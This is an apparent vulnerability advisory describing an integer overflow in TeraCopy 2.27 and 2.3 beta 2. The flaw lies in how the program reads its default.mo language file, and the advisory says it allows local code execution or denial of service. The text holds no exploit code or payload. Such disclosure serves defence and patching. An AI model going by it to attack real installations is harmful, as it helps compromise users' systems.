TeraCopy 2.3 (default.mo) Language File Integer Overflow Vulnerability

TeraCopy is prone to an integer overflow vulnerability because it fails to perform adequate boundary checks when reading language files. Successfully exploiting this issue may allow local attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions.

# TeraCopy 2.3 (default.mo) Language File Integer Overflow Vulnerability

#
# Vendor: Code Sector
# Product web page: http://www.codesector.com
# Affected version: 2.27 and 2.3 beta 2
#
# Summary: TeraCopy is designed to copy and move files at the maximum
# possible speed. It skips bad files during the copying process, and
# then displays them at the end of the transfer so that you can see
# which ones need attention. TeraCopy can automatically check the copied
# files for errors by calculating their CRC checksum values. It also
# provides a lot more information about the files being copied than its
# Windows counterpart. TeraCopy integrates with Windows Explorer's
# right-click menu and can be set as the default copy handler.
#
# Desc: TeraCopy is prone to an integer overflow vulnerability because
# it fails to perform adequate boundary checks when reading language files.
# Successfully exploiting this issue may allow local attackers to execute
# arbitrary code in the context of the application. Failed exploit attempts
# will cause denial-of-service conditions.
